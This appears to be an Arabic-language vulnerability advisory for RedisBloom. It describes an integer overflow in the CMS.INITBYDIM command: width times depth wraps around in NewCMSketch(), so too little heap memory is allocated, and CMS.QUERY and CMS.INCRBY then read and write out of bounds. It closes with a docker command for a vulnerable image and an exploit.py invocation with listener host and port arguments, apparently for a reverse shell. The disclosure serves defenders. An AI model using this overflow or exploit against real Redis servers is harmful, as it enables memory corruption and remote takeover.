
توجد ثغرة تجاوز عدد صحيح في RedisBloom (https://github.com/RedisBloom/RedisBloom)، وهي وحدة برمجية تُستخدم في redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/). تتيح ثغرة تجاوز العدد الصحيح للمهاجم (وهو عميل redis يعرف كلمة المرور) تخصيص ذاكرة في الكومة (heap) أقل من الذاكرة المطلوبة بسبب التفاف القيمة (wraparound). وبعد ذلك يمكن إجراء قراءة وكتابة خارج هذه الذاكرة المخصصة، مما يؤدي إلى تسرب معلومات وكتابة خارج النطاق (OOB write).
تحدث ثغرة تجاوز العدد الصحيح في أمر CMS.INITBYDIM، الذي يهيئ بنية Count-Min Sketch بأبعاد يحددها المستخدم. يقبل هذا الأمر قيمتين (العرض width والعمق depth) ويستخدمهما لتخصيص الذاكرة داخل NewCMSketch()
الملف: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
يتم تحقيق القراءة خارج النطاق (OOB read) عبر أمر CMS.QUERY المُنفَّذ في الدالة CMS_Query().
يتم تحقيق الكتابة خارج النطاق (OOB write) عبر أمر CMS.INCRBY المُنفَّذ في الدالة CMS_IncrBy().
للاطلاع على التحليل الكامل، راجع النشرة الأمنية
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444